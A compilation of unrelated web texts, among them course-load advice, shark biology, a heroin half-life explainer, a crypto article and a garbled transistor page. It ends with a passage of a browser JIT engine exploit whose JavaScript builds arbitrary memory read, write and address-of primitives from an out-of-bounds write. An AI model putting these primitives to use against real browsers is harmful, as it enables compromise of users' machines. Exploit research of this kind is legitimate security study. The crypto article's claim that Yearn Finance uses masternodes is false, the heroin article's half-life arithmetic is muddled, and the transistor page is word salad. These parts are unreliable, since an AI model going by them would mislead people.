text:
[see also: three
The player has to decide which of the two strategies is better for him and act accordingly. [Not: "the 2 strategies''; the numbers 1 to 12, when used for counting objects (without units of measurement), should be written in words.]
The first two are simpler than the third. [Or: the third one; not: "The first two ones"]
One of these lies in the union of the other two.
the last two rows
the following two maps
a two-variable characterization


How do I decide how many classes to take?
If you are an incoming frosh, we recommend signing up for 12-15 units of coursework in your first quarter. Keep in mind that adjusting to Stanford is at least the equivalent of a 3-unit course, so give yourself some room to breathe! After your first quarter, you can try taking on more if you like. In order to graduate in 4 years, you'll need to take an average of 15 units per quarter.
Important Deadlines
You will need to sign up for at least 12 units by the end of the first day of classes in order to be considered a full-time student. (See Also: What is a Unit?)
The official deadline to add and drop classes (Final Study List deadline) is the end of week three. However, while you can drop classes all the way through the third week, you should attend any classes you might take starting the first week of classes. Professors are often very reluctant to allow students to add a class that they have not been attending, and you may have missed work that cannot be made up.
After the third week of classes, your schedule for the quarter is set (the Final Study List deadline is 5pm on Friday of Week 3).
Things to consider as you choose the best combination
Number of classes
How many classes should you take? It depends. It depends on the classes, it depends on the workload, it depends on your other commitments, it depends on who you are and how you learn. This decision is best finalized after classes start--the ideal approach is to attend more classes than you expect to take, and by the end of Week 1, decide which of those classes make the best combination for you that quarter.
Typically, expect classes of 3-5 units to be main academic classes that can fulfill requirements and count toward a major, while classes of 1-2 units are usually lecture series or athletic classes, with fewer assignments outside class. Students will combine these in an infinite variety of ways.
12-15 units is ideal for your first quarter. The maximum number of academic units a first-quarter frosh may enroll in is 20. Students past their first quarter may request an exception to take 21 or 22 units in certain cases. See your Academic Advising Director or AARC advisor for details.
Cognitive shifting between types of studying/work often shows a better result than focusing in on one kind of learning. And it leads to less burn out. Most students do best with a balanced workload demanding a mix of exams and essays, of reading and problem sets, of STEM and humanities topics.
Four main academic classes may be nicely balanced among math, Spanish, chemistry, and history, but if you have two essays and two midterms all due in the same week, you might want to tweak something. It's useful to actually write down all the major deadlines on the Quarter-at-a-Glance planner, and then evaluate the commitments you are making.
Cardinal Compass - Secrets to Stanford Success
See Also


text:
July 26, 2012 Excitation of neurons depends on the selected influx of certain ions, namely sodium, calcium and potassium through specific channels. Obviously, these channels were crucial for the evolution of nervous systems in animals. How such channels could have evolved their selectivity has been a puzzle until now.
Yehu Moran and Ulrich Technau from the University of Vienna together with Scientists from Tel Aviv University and the Woods Hole Oceanographic Institution (USA) have now revealed that voltage-gated sodium channels, which are responsible for neuronal signaling in the nerves of animals, evolved twice in higher and lower animals.
These results were published in Cell Reports.
The opening and closing of ion channels enable flow of ions that constitute the electrical signaling in all nervous systems. Every thought we have or every move we make is the result of the highly accurate opening and closing of numerous ion channels. Whereas the channels of most lower animals and their unicellular relatives cannot discern between sodium and calcium ions, those of higher animals are highly specific for sodium, a characteristic that is important for fast and accurate signaling in complex nervous system.
Surprising results in sea anemones and jellyfish
However, the researchers found that a group of basal animals with simple nerve nets including sea anemones and jellyfish also possess voltage-gated sodium channels, which differ from those found in higher animals, yet show the same selectivity for sodium. Since cnidarians separated from the rest of the animals more than 600 million years ago, these findings suggest that the channels of both cnidarians and higher animals originated independently twice, from ancient non-selective channels which also transmit calcium.
Since many other processes of internal cell signaling are highly dependent on calcium ions, the use of non-selective ion channels in neurons would accidently trigger various signaling systems inside the cells and will cause damage. The evolution of selectivity for sodium ions is therefore considered as an important step in the evolution of nervous systems with fast transmission. This study shows that different parts of the channel changed in a convergent manner during the evolution of cnidarians and higher animals in order to perform the same task, namely to select for sodium ions.
This demonstrates that important components for the functional nervous systems evolved twice in basal and higher animals, which suggests that more complex nervous systems that rely on such ion-selective channels could have also evolved twice independently.
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Note: Materials may be edited for content and length. For further information, please contact the source cited above.
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Pitching Drills - Increase Hip Speed to Increase your Baseball Pitching Speed!
Increasing your Hip Rotation Speed leads to increased pitching speed. Learn how now!
PRLog (Press Release) - Dec. 11, 2013 - MOORESVILLE, N.C. -- Fastball pitching speed is a combination of correct mechanics along with correct kinematic sequencing of your body.
Major league pitchers have very fast hip speeds which allows energy to transfer to the torso and arm.
While studying the fastest pitchers on the planet it is easy to see how they have advanced hip speed rotation, a big first step and store tons of power through elastic energy of the muscles while pitching.
The Hip Speed Trainer is a great training tool to help baseball pitchers increase their itching speed by training proper motor control of the lower body and increasing hip rotation speed.
Here is a video explaing the importance of hip speed and pitching.
The science behind why hips are so important has to do with transferring a load through the body and is known as Proximal to Distal Sequencing.
In all ground based rotational sports requiring throwing (football, baseball, discuss, shot-put) and striking (golf, baseball, hockey, punching etc...) we develop a load from the ground and transfer that energy / force through our bodies to the final lever (punch, bat, club, stick etc...).
In order to transfer as much energy as possible we need to use our bodies in an efficient manor sequencing the energy transfer in a proper order.
This is what is known as Proximal to Distal Sequencing.
The first potential rotational speed multiplier are the hips. Hip / Pelvic rotation begins with firing of the gluteus muscles and specifically the gluteus medius muscle as well as lower back lumbar rotator muscles.
The more motor control along with strength and speed of these muscles... the faster you can rotate the hips and increase over all performance.
You can purchase a Hip Speed Trainer for only $89 at _URL_ and start throwing faster pitches within a couple weeks!
Tom Lowrie
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Welcome to the world of Mireu Martial Arts USA
Providing expert instruction in the arts of Tae Kwon Do and Kum Do in Cedar Rapids and Iowa City, Iowa.Mireu's Tae Kwon Do and Kum Do classes offer an excellent all around family activity. There's no better way to give the gift of long healthy life. Add significant days, months, even years to your life by learning from the sages.
The principles are still sound and relate to goodwill for all. Gain an ongoing commitment to pass on what you have learned as a student to insure that all can be bettered and gain from Tae Kwon Do and Kum Do lessons. See why Tae Kwon Do and Kum Do are such a huge part of the culture of so many countries, languages and martial artists today.
Tae Kwon Do: For the mind, body and life!


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Spinning cone columns are used in a form of steam distillation to gently extract volatile chemicals from liquid foodstuffs while minimising the effect on the taste of the product. For instance, the columns can be used to remove some of the alcohol from wine, 'off' smells from cream, and to capture aroma compounds that would otherwise be lost in coffee processing.
The columns are made of stainless steel. Conical vanes are attached alternately to the wall of the column and to a central rotating shaft. The product is poured in at the top under vacuum, and steam is pumped into the column from below. The vanes provide a large surface area over which volatile compounds can evaporate into the steam, and the rotation ensures a thin layer of the product is constantly moved over the moving cone. It typically takes 20 seconds for the liquid to move through the column, and industrial columns might process 16-160 litres per minute. The temperature and pressure can be adjusted depending on the compounds targeted.
Improvements in viticulture and warmer vintages have led to increasing levels of sugar in wine grapes, which have translated to higher levels of alcohol - which can reach over 15% ABV in Zinfandels from California. Some producers feel that this unbalances their wine, and use spinning cones to reduce the alcohol by 1-2 percentage points. In this case the wine is passed through the column once to distil out the most volatile aroma compounds which are then put to one side whilst the wine goes through the column a second time at higher temperature to extract some of the alcohol. The aroma compounds are then mixed back into the wine. However some producers such as Joel Peterson of Ravenswood argue that technological 'fixes' such as spinning cones remove a sense of terroir from the wine; if the wine has the tannins and other components to balance 15% alcohol, Peterson argues that it should be accepted on its own terms.
Notes and references
|This article is licensed under the GNU Free Documentation License. It uses material from the Wikipedia article "Spinning_cone". A list of authors is available in Wikipedia.|


text:
Most sharks have an unusual combination of biological characteristics: slow growth and delayed maturation; long reproductive cycles; low fecundity; and long life spans. These factors determine the low reproductive potential of many shark species.
Slow growth and delayed maturation: Some species of sharks, including some of the commercially important species, are extremely slow growing. The picked dogfish (Squalus acanthias) has been estimated by Jones and Geen (1977) to reach maturity at about 25 years. The sandbar shark (Carcharhinus plumbeus), the most economically important species along the southeastern coast of the United States, has been estimated to reach maturity from 15-16 years (Sminkey and Musick 1995) to about 30 years (Casey and Natanson 1992).
Long reproductive cycles: Sharks produce young that hatch or are born fully developed, and that are relatively large at hatching or birth. The energy requirements of producing large, fully developed young result in great energy demands on the female, and in reproductive cycles and gestation periods that are unusually long for fishes. Both the reproductive cycle and the gestation period usually last one or two years in most species of sharks, reflecting the time it takes a female to store enough energy to produce large eggs and to nurture her large young through development (Castro 1996). The reproductive cycle is how often the shark reproduces, and it is usually one or two years long. The gestation period is the time of embryonic development from fertilization to birth, and is frequently one or two years long. The reproductive cycle and the gestation period may run concurrently or consecutively. For example, in the picked dogfish, the reproductive cycle and gestation run concurrently and both last two years. A female carries both developing oocytes in the ovary and developing embryos in the uteri concurrently for two years. Shortly after parturition, it mates and ovulates again, and the process begins anew. In this case, both ovulation and parturition are biennial. In most of the large, commercially important, carcharhinid sharks, the reproductive cycle and the gestation period run consecutively. These sharks have biennial reproductive cycles (Clark and von Schmidt 1965) with one-year gestation cycles. They accumulate the energy reserves necessary to produce large eggs for about a year, then, mate, ovulate, gestate for one year, and give birth. For example, after giving birth in the spring, a blacktip shark (Carcharhinus limbatus) enters a "resting" stage where it stores energy and nourishes its large oocytes for one year. After mating and ovulation, it begins a year gestation period, giving birth in the spring of the second year after its previous parturition (Castro 1996). Thus, these sharks also reproduce biennially. Some of the hammerhead sharks (Sphyrna) and the sharpnose sharks (Rhizoprionodon) reproduce annually (Castro 1989, Castro and Wourms 1993). Even longer cycles of three and four years have been proposed for other species without adducing any evidence.
Low fecundity: The small size of their broods, or "litters", is another factor contributing to the low reproductive potential of sharks. The number of young or "pups" per brood usually ranges from two to a dozen, although some species may produce dozens of young per brood. Most of the commercially important carcharhinid sharks usually produce less than a dozen young per brood. For example, the sandbar shark averages 8 young per brood, while the blacktip averages 4 per brood (Castro 1996). An exception, among the targeted species, is the blue shark for which broods of over 30 young have often been reported.
Long life spans: Although, many species of sharks are known to be long-lived (Pratt and Casey 1990), the reproductive life span of sharks is unknown. Because the long time before maturation and the long reproductive cycles, it appears that a given female may only produce a few broods in its lifetime (Sminkey and Musick 1995).
Many of the commercially important species use shallow coastal waters, known as "nurseries", to give birth to their young, and where the young spend their first months or years (Castro 1993b). The mating grounds are often close to the nurseries, and thus adults of both sexes congregate close to shore in large numbers. These areas are highly attractive to fishermen, because of their nearness to shore and the high concentration of sharks. Most of the commercially important species (e.g. the genera Carcharhinus, Sphyrna, Rhizoprionodon, Negaprion) have shallow water nurseries (Castro 1987, 1993b). These sharks are very vulnerable to modern fishing operations, and are easily overfished.
There is no evidence of any compensatory mechanisms by female sharks that will increase brood size or decrease the length of the ovarian and gestation cycles in response to overfishing. It is highly unlikely that those mechanisms can be evolved rapidly enough to compensate for the increase in mortality. Even if such mechanisms could be evolved, brood size would be limited by the maximum number of young that can be carried by a female, and ovulatory and gestation cycles are limited by complex metabolic processes. The long ovarian cycles and long gestation periods probably reflect he minimal times required by the species to acquire and transfer the necessary energy to large ova and young.

source: openbmb/Ultra-FineWeb


text:
59 Awesome Stocks Of Simple Transistor Current source
– Nice to see you, with this time period I'll explain to you in connection with simple transistor current source.
current source the simple resistor passive current source is ideal only when the voltage across it is 0 so voltage pensation by applying parallel negative feedback circuit idea simplest transistor current source the general idea how do we make the most simple current source as we all know thanks to a certain wise man called ohm the only way to yourself simple led driver constant current source 20 ma hello in this project i want to show you how to make a constant current source which gives 20ma at the output its also known as led driver transistor a transistor is a semiconductor device used to amplify or switch electronic signals and electrical power it is posed of semiconductor material usually transistor – ein transistor ist ein elektronisches halbleiter bauelement zum steuern meistens niedriger elektrischer spannungen und ströme er ist der weitaus transistor amplifier the creative science centre demonstrating the wonderful amplifying action of a transistor note for details of talks and workshops on this topic click here talks and workshops telephone in use relay lm317 regulators lithium charger simple adjustable voltage source a simple but less efficient methode of controlling a dc voltage is to use a voltage divider and transistor emitter 1 200 transistor circuits talking electronics introduction this e book contains 100 transistor circuits the second part of this e book will contain a further 100 circuits most of them can be made a simple analytic method for transistor oscillator design a simple analytic method for transistor oscillator design this straightforward mathematical technique helps optimize oscillator designs by andrei grebennikov super matched bipolar transistor pair sets new standards overview 1 overview matched bipolar transistor pairs are a very powerful design tool yet have received less and less attention over the last
current Purpose of these two transistors Electrical from simple transistor current source, source:electronics.stackexchange.com
Simple Current Limiter Circuit Simple Free Engine Image from simple transistor current source, source:_URL_


Elimination half-life
The "elimination half-life" is the time period it takes for the plasma concentration of a drug to be halved. Hence, each successive half-life, less drug is eliminated. After one half-life the amount of drug remaining in the body is 50%, and after two half-lives 25%, and so on and so on.
In other words, if you have 40 pies and you half them you are left with 20 pies. If you half 20 pies you are left with 10 pies. If you half 10 pies you are left with 5 pies. So if inject 10mg of heroin at 1:00 pm and at 1:05 pm there is only 5mg of heroin circulating in your system, you would say that heroin has a 5 minute elimination half-life. Ironically, heroin's elimination half-life is 5 minutes. Some scientific research says it's actually less than 1 minute, but only when heroin is injected.
Heroin's half-life
Heroin metabolizes into 6MAM. Then 6MAM metabolizes into Morphine. When people use heroin, it's actually a combination of these 3 drugs that intoxicate users. For this reason, the elimination half-life of heroin is considered to be a combination of these three half-lives; heroin (less than 5 minutes), 6MAM (6 – 25 minutes) and Morphine (2.5 – 5 hours).
The elimination half-life of heroin is therefore 2.68 to 5.5 hours. Secondly, the drug effects of heroin generally last between 1 and 2 half-lives. Following that logic, the effects of heroin range between 2.68 to 11 hours. In other words, the effects of heroin last, on average, last about 6.84 hours, which is the midpoint between 2.68 and 11.
The Math
If you look below you'll see a bunch of numbers listed 1-8. Number one represents 1 half-life, or 50% (1/2) of the original amount. Number 7 represents 7 half-lives. The product of number 7 is 1/128, which means less than 1% (.78%). Since it takes 7 half-lives to get below 1% of the original amount, it's safe to say, that heroin is effectively gone from your system between 7 and 8 half-lives.
 1. 1/2 or 50%
 2. 1/2 x 1/2 = 1/4 or 25%
 3. 1/2 x 1/4 = 1/8 or 12.5%
 4. 1/2 x 1/8 = 1/16 or 6.25%
 5. 1/2 x 1/16 = 1/32 or 3.125%
 6. 1/2 x 1/32 = 1/64 or 1.562%
 7. 1/2 x 1/64 = 1/128 or.78%
 8. 1/2 x 1/128 = 1/256 or.359%
The Conclusion
The half-life of heroin is at most 5.5 hours, i.e. 5 minutes for heroin, plus 25 minutes for 6MAM, plus 5 hours for Morphine. If you multiply 5.5 by 8 (for 8 half-lives), you come up with 44.0 hours, which is when heroin withdrawal generally peaks, though its symptoms generally plateau for almost 24 hours. That is why heroin withdrawal is most difficult between the second and third day. If you are struggling with heroin addiction, it is suggested that enroll into a reputable Heroin Detox Center so that professionals can minimize heroin withdrawal symptoms as safely and as comfortably as possible.


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Cryptocurrency has revolutionized the financial world, offering a decentralized and secure way of conducting transactions. As the popularity of cryptocurrencies continues to grow, so does the need for infrastructure to support and maintain these digital assets. One such infrastructure element is the concept of master nodes, which play a crucial role in ensuring the smooth operation and security of certain cryptocurrencies.
Master nodes are essentially servers that operate on a blockchain network. They perform important functions such as validating and relaying transactions, and in some cases, they can even participate in the governance of the network. Master nodes are typically operated by individuals, who are incentivized by the network to maintain and run these nodes.
YFI YearnFinance is a groundbreaking decentralized finance platform built on the Ethereum blockchain. It offers users a range of services, including yield farming, lending, and asset management. YearnFinance has gained significant attention and popularity within the cryptocurrency community due to its unique approach to yield optimization.
It is worth exploring the connection between master nodes in cryptocurrency and the YFI YearnFinance platform. How do master nodes contribute to the success and efficiency of the YearnFinance ecosystem? What benefits do master node operators receive in participating in the YearnFinance network? These questions and more will be answered as we delve deeper into the relationship between master nodes and YFI YearnFinance.
In the world of cryptocurrency, there are various mechanisms in place to support the ecosystem and ensure the smooth operation of blockchain networks. One such mechanism is the concept of master nodes, which play a vital role in maintaining the network s integrity and facilitating important functions within the network.
In this article, we will explore the concept of master nodes in cryptocurrency and examine its connection to YFI YearnFinance, one of the prominent decentralized finance (DeFi) platforms in the cryptocurrency industry.
Briefly introduce the concept of masternodes in cryptocurrency and YFI Yearn.Finance
A masternode is a type of full node that plays an important role in the operation of certain cryptocurrencies. It serves as a server that supports the network by performing various tasks such as facilitating secure transactions, verifying blocks, and participating in the consensus protocol. Masternodes are typically required to hold a certain amount of the cryptocurrency in order to participate in the network and receive rewards.
One notable example of a cryptocurrency that utilizes masternodes is YFI Yearn.Finance. YFI is an experimental decentralized finance (DeFi) platform that aims to provide users with the highest yield on their cryptocurrency investments. YFI token holders can become masternodes in the YFI network by staking a certain amount of YFI tokens. By doing so, they contribute to the stability and security of the network and are rewarded with additional YFI tokens.
Highlight the growing popularity of masternodes and the significance of YFI Yearn.Finance in the cryptocurrency ecosystem
In recent years, masternodes have gained significant popularity in the cryptocurrency ecosystem. These specialized nodes provide additional functionality to blockchain networks and play a crucial role in maintaining the network s integrity and security. Masternodes perform various tasks, including facilitating instant and private transactions, participating in governance protocols, and providing additional layers of security against attacks.
As the cryptocurrency market continues to evolve, more and more blockchain projects are incorporating masternodes into their ecosystems. This growing popularity can be attributed to the numerous benefits that masternodes offer. Some of these benefits include enhanced network performance, increased transaction processing speed, and the ability to earn passive income by holding a certain amount of the project s native cryptocurrency.
One project that has made significant waves in the cryptocurrency space is YFI Yearn.Finance. YFI Yearn.Finance is a decentralized finance (DeFi) platform built on the Ethereum blockchain. It aims to optimize returns from various DeFi protocols by automating the process of moving funds between different platforms to maximize yield.
YFI Yearn.Finance has gained immense popularity due to its innovative approach to yield farming and its potential to generate substantial returns for its users. The project s native token, YFI, has become highly sought after by investors and traders alike. Holding YFI tokens allows users to participate in the governance of the protocol and earn rewards for their contributions.
Masternodes play a significant role in the YFI Yearn.Finance ecosystem. They help secure the network, validate transactions, and participate in the governance process. By running a masternode, individuals can actively contribute to the functioning of the platform and earn rewards in the form of YFI tokens.
The growing popularity of masternodes and the significance of YFI Yearn.Finance highlight the increasing demand for decentralized finance solutions and the willingness of users to actively participate in the governance of these platforms. As the cryptocurrency ecosystem continues to evolve, masternodes are expected to play a crucial role in supporting the infrastructure and ensuring the security of blockchain networks.
Cryptocurrency Q&A: Understanding the World of Digital Assets


text:
Model Theoretic Classification and its Applications to Algebra
Classification theory is a program initiated by Shelah in the early 70s with the aim of classifying complete first order theories into "tame" and "wild" theories by some relatively simple combinatorial invariants. Examples of such theories are stable, dependent and simple theories.
From the beginning, the applications stemming from this work moved in two intertwining directions.
The first, a detailed study of the geometry arising in such theories and applying these notions to algebra and geometry (e.g. Hrushovski's proof of Mordell-Lang).
The second, studying and classifying algebraic objects whose theories enjoy these properties (e.g. Shelah and Cherlin proved that every superstable field is algebraically closed).
In this talk I will introduce the main model theoretic notions and mainly follow the second direction of applications. I will review some old results and some newer results by myself and others especially in the dependent setting, where an open conjecture of Shelah's leads the way.
No prior knowledge in model theory or logic is required.
תאריך עדכון אחרון : 02/12/2020


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'Indigenous war service: two exhibitions at the National Archives of Australia', Honest History, 2 May 2017
A review of two exhibitions, Indigenous Australians at War from the Boer War to the Present (touring from the Shrine of Remembrance, Melbourne) and Facing Two Fronts: the Fight for Respect, also focusing on Indigenous uniformed service. The article also includes a summary of recent efforts by national cultural institutions to chronicle the many aspects of a nation at war, including Indigenous service. It can be read in conjunction with our recent review of the For Country, for Nation exhibition at the Australian War Memorial.
Michael Piggott is Treasurer of the Honest History association and an archivist of many years' experience. He has a chapter in The Honest History Book. The chapter is about the Australian War Memorial and the legacy of Charles Bean.


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Bookkeeping is the process of keeping accurate and up-to-date records of a business's financial transactions. While it may not be the most glamorous or exciting part of running a business, it is a crucial aspect that plays a vital role in the success of any enterprise.
In this blog post, we will explore why bookkeeping is important and how it can help businesses make informed decisions, identify areas for improvement, and assess their financial health.
Bookkeepers Track Income And Expenses
The first reason why bookkeeping is important is that it helps businesses make informed decisions about where to allocate their resources. Bookkeepers can provide business owners with a clear picture of their financial situation by keeping track of their inc


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The information on this page is updated as new research is published. This page was last updated 20.2.2020
The current focus for hygiene research is on the healthcare environment, including personnel, and how it contributes to the transmission of Healthcare Acquired Infections (HAI), a common and mostly preventable patient safety issue. This is due to a pattern of findings within the research that highlight that:
Although it is not yet established how clean surfaces must be in order to prevent the transmission of HAIs1, preliminary research has investigated the levels of contamination and whether implementing various interventions may contribute to a reduction in colony counts after certain time periods.
The most common interventions have been education, monitoring and cleaning intensity. One study found that it would take one additional full time staff member whose role solely focused on high touch surfaces to significantly reduce the rates of MRSA in the hospital setting1.
Whilst research in the area of environmental contamination is relatively new, data has been collated to demonstrate the level of contamination, particularly within hospital settings. Schabrun (2006)2 reports that over 70% of equipment is contaminated whilst Dancer (2014)3 found that screening confirms repeated contamination of items, equipment, and general sites in bed spaces and rooms of infected patients and often throughout multiple clinical areas in a health care institution.
Interestingly, equipment in less critical areas, such as general wards, outpatients, or allied health departments, are less likely to have stringent cleaning protocols, predisposing these departments to carrying larger numbers of microorganisms2.Further, several studies show evidence of the ability for bacteria to survive from days to weeks on inanimate objects (MRSA was found to survive nine weeks)4 underscoring the importance of environmental hygiene in the control of infection and cross-transmission4, 5.
It has also been shown that merely touching a contaminated surface can result in the same frequency of MRSA contamination as touching the infected patient5 reiterating the need for increased measures in protection such as protective barriers and stringency in cleaning protocol.
A 2016 study of Australian hospitals found a great discrepancy between cleaning practices amongst facilities and wards, despite detailed guidelines, leading to subjective standards of cleanliness across facilities6. With varying resources, general standards, protocol adherence and monitoring, it is extremely difficult to establish a baseline against which all facilities can be measured, nor can a general program be easily rolled out to address any issues. There have been several studies which have examined the efficacy of particular interventions.
One such study examined the effectiveness of a trio of strategies such as 'hygiene bundles', ongoing education and stricter monitoring of hygiene protocol; whilst successful short term, replication and maintenance in the "real world" was not sustainable due to inadequate training, skill level of workers, as well as general non-compliance to the prescribed protocol7. Otter et al (2013)8 reported that hospital hand hygiene compliance was significantly more likely following patient contact as opposed to patient environment contact, meaning any transfer of contaminants was likely to persist for longer and play a more significant role in forward transmission of disease.
In terms of effective cleaning measures, 70% alcohol was found to be the most effective agent with up to 80% reduction of contamination2. However, it is unknown how this agent will affect the quality of the equipment and fabrics in the long term. Another major drawback in the use of these cleaning agents, is the gap between the recommended instructions and real life application and use. Adherence to correct cleaning protocol is not closely monitored, and many infection prevention institutions provide 'guidelines' to ensure adherence which primarily use a subjective visibility scale to determine cleanliness. Additionally, it has been established that some illness causing bacteria persist despite more than one cycle of cleaning using hospital grade disinfectant9; 27% of rooms remained contaminated with MRSA following 4 rounds of bleach disinfection. Similarly, 43% of surfaces were contaminated with norovirus RNA after 1 round of bleach disinfection, and 16% of surfaces were contaminated after 2 rounds of bleach disinfection8.
With the use of towels, studies have demonstrated that the more absorbent a towel, the longer a microorganism can survive10. In particular, it was shown that Staph can survive up to three weeks in cotton towels – which are commonly used in therapy clinics and hospitals - despite regular laundering10. It was concluded that normal washing, or laundering of towels – whether done in house or externally, was not enough to remove all viable microorganisms from them10.Read the Australian Hygiene Guidelines 🡢


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Science Fair Project Encyclopedia
Baldwin V of Jerusalem
Baldwin V (1177 – 1186) was the son of Sibylla of Jerusalem and her first husband, William of Montferrat. He was crowned co-King of Jerusalem with his uncle, Baldwin IV in 1183, and once his uncle died, became the nominal king from 1185 to 1186, under the regency of Raymond III of Tripoli.
In 1182 a rift developed between Baldwin IV and his brother-in-law, Sibylla's second husband Guy of Lusignan. Baldwin IV deposed Guy from his position as regent, and for the next few months Baldwin IV attempted to have his sister's marriage to Guy annulled, with no success. As Sibylla was his heir, he summoned the Haute Cour and they jointly agreed to advance Baldwin V's claim to the throne, preceding Sibylla's claim. Sibylla and Guy allied with Raynald of Chatillon against Raymond III of Tripoli, who acted as Baldwin V's regent.
During Baldwin V's reign, Saladin continued to advance into the kingdom, which had been weakened during the reign of the leprous Baldwin IV. Baldwin V died soon after his accession, and after his funeral Sibylla was proclaimed Queen by the Patriarch, which the Haute Cour later endorsed.
- Medieval Women, edited by Derek Baker, Ecclesiatical Historical Society 1978.
The contents of this article is licensed from _URL_ under the GNU Free Documentation License. Click here to see the transparent copy and copyright details


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Robotic motion planning requires configuration space exploration. In high-dimensional configuration spaces, a complete exploration is computationally intractable. To devise practical motion planning algorithms in such high-dimensional spaces, computational resources have to be expended in proportion to the local complexity of a configuration space region. We propose a novel motion planning approach that addresses this problem by building an incremental, approximate model of configuration space. The information contained in this model is used to direct computational resources to difficult regions. This effectively addresses the narrow passage problem by adapting the sampling density to the complexity of that region. Each sample of configuration space is guaranteed to maximally improve the accuracy of the model, given the available information. Experimental results indicate that this approach to motion planning results in a significant decrease in the computational time necessary for successful motion planning.
Available at: _URL_


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Sketchpad for Little Ones
Library Home || Full Table of Contents || Suggest a Link || Library Help
|Geri Anderson-Nielsen; Georgetown Day School|
|The Geometer's Sketchpad (GSP) is a powerful tool for discovering geometric properties. The program contains a ruler, a protractor, a calculator, and a simple word processor, in addition to graphing possibilities for the Cartesian plane. The activities illustrated are samples of those used in Lower and Middle School mathematics classes at Georgetown Day School: lines, rays, and segments; acute, obtuse, and straight angles; area and perimeter; degrees in a triangle; circles; degrees in a quadrilateral; sum of the interior angles of a polygon; similar triangles; transformations.|
|Levels:||Elementary, Middle School (6-8)|
|Resource Types:||Lesson Plans and Activities, Geometer's Sketchpad|
|Math Topics:||Euclidean Plane Geometry|
© _PHONE_ Drexel University. All rights reserved.
The Math Forum is a research and educational enterprise of the Drexel University School of Education.


life beyond addiction
Free Seminar! Beyond Addiction: Recovery 2.0
Tommy Rosen by Tommy Rosen | February 18th, 2013 | 3 Comments
topic: Fitness, Health & Wellness, Personal Growth, Yoga | tags: alcohol addiction, beyond addiction, childhood obesity, destructive behaviors, drug addiction, drugs, family, field of addition, food addiction, freedom, friends, getting clean, heart disease, lies, life beyond addiction, lying, medical pandemics, meditation, modalities of recovery, money addiction, optimal health, recovery 2.0, sex addiction, stress management, Tadasana Festival, the recovery diet, the twelve steps, Tommy Rosen, twisted thinking, type 2 diabetes, vibrant life, Yoga
tommy rosen
What is addiction? How does it feel to be an addict? What does it look like? Is there a way out, a place BEYOND ADDICTION? These critical questions and the way we answer them make the difference between living a life enslaved to destructive behaviors and one of freedom and expansion.
Most people are familiar with addiction to drugs or alcohol, but addiction takes many forms and it is everywhere around us, all the time. At its very core, addiction is any behavior you continue to engage in despite the negative consequences it brings. If we take the time to really look at ourselves and at the world around us, we don't have to look hard to see it. Addiction is the root of some of the biggest challenges our society faces today. For example, the medical pandemics of childhood obesity, type 2-diabetes and heart disease are preventable lifestyle diseases driven in large part by addiction.
As an addict you feel stuck, incapable of giving up that thing that you "need" to survive, to function. It twists your thinking, your experience of the world. Addiction leaves you lying to your friends, to your family, to yourself. Being an addict is like being in a small dark room where the only exit seems to be locked from the outside.
The truth is that there is a way out, a way BEYOND ADDICTION. Though neither easy, nor a road one travels alone, a life beyond the grips of addiction is very real. At one time I was stuck in that downward spiral, but after 21 years of recovery I am living proof that an expansive and vibrant life beyond addiction can and does exist.


, this time with an OOB write index of -1. There is substantial significance to using -1 as opposed to some other (larger) index which would still go OOB and trigger a side effect. The reason being that -1 is considered an "invalid index" (not just an OOB index) and is treated differently. OOB writes to the SideEffectArray with valid albeit indexes which will fail the boundscheck restrictions and will not trigger useful side effects. The reason for this being that access to valid indexes will cause the creation of a MSetPropertyCache node in the MIR, a node which is not susceptible to the exploit condition. The MIR instruction chosen to handle the SideEffectArray OOB MUST be MStoreElementHole, and MStoreElementHole will only be selected in the event of an INVALID index access, not simply an OOB one.
SideEffectArray.length = 4; // Reset the length one more time
BuggedJITFunc(-1, 11, 2.67371469724e-312);
// Initialize mutable array properties for R/W/AddressOf primitives. Use these specific values so that it can later be verified whether slots pointer modifications have been successful.
MutableArray.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double
MutableArray.y = 0x41414141;
MutableArray.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double
// Arbitrary read/write/address-of primitives
~ Weak arbitrary read
8 bytes of data can be leaked from the address pointed to by the mutable array
NativeObject.SlotsPtr, as this address is interpreted as holding the value of
'x' (stored as a double). The drawback is that if the 8 bytes cannot be
interpreted as a valid double, they may be interpreted as a pointer and
dereferenced. In this sense, some values may not be be readable with this
~ Weak arbitrary write
In the same way that the 'x' property pointed at by the slots pointer can be
used to read doubles it can also be used to write doubles. The only drawback
being that the value being written must be a valid double.
~ Weak AddressOf
The mutable array slots pointer (in its native object struct) is going to be
pointing at an array of 3 property values (for x, y and z). Since we are
trying to leak the object address (which will be written into the property
array slots for x, y or z) as a double, this will cause issues as the JS engine
will (correctly) attempt to dereference this address rather than interpret it
as a double.
Thus the trick is to set the slots pointer in the mutable array native object
ahead by 4 bytes. This the result that the object address (previously only in
the "y" slot) can now be partially read (32-bits at a time) from both "x" and
"y" and that these values are now certain to be valid doubles.
We can ensure the resulting double is valid by using bitwise AND to filter off
the significant bits responsible for differentiating between a valid and
non-valid double.
~ Strong arbitrary read
This primitive solves the issue of attempting to read 8 bytes in memory which
may be invalid doubles and thus misinterpreted as pointers (for example if the
tagged pointer bits are set).
The solution is to simply create a double float array, and then overwrite its
data pointer to point to the precise region we want to read. The key concept
here is that it reduces the ambiguity on the part of the JS engine. Since the
JS engine knows that the value at this address is explicitly a double float,
it will not attempt to potentially interprete it as an object pointer even if
those tagged bits are set.
function WeakLeakDbl(TargetAddress) {
SavedSlotsPtr = BugArray2[8];
BugArray2[8] = TargetAddress;
LeakedDbl = MutableArray.x;
BugArray2[8] = SavedSlotsPtr;
return LeakedDbl;
function WeakWriteDbl(TargetAddress, Val) {
SavedSlotsPtr = BugArray2[8];
BugArray2[8] = TargetAddress;
MutableArray.x = Val;
BugArray2[8] = SavedSlotsPtr;
function WeakLeakObjectAddress(Obj) {
SavedSlotsPtr = BugArray2[8];
// x y z
// MutableArray.NativeObj.SlotsPtr -> [0x????????????????] | [Target object address] | [0x????????????????]
MutableArray.y = Obj;
// x y z
// MutableArray.NativeObj.SlotsPtr -> [0x????????Target o] | [bject adress????????] | [0x????????????????]
HelperDbl[0] = BugArray2[8];
HelperDword[0] = HelperDword[0] + 4;
BugArray2[8] = HelperDbl[0];
// Patch together a double of the target object address from the two 32-bit property values
HelperDbl[0] = MutableArray.x;
LeakedLow = HelperDword[1];
HelperDbl[0] = MutableArray.y; // Works in release, not in debug (assertion issues)
LeakedHigh = HelperDword[0] & 0x00007fff; // Filter off tagged pointer bits
BugArray2[8] = SavedSlotsPtr;
HelperDword[0] = LeakedLow;
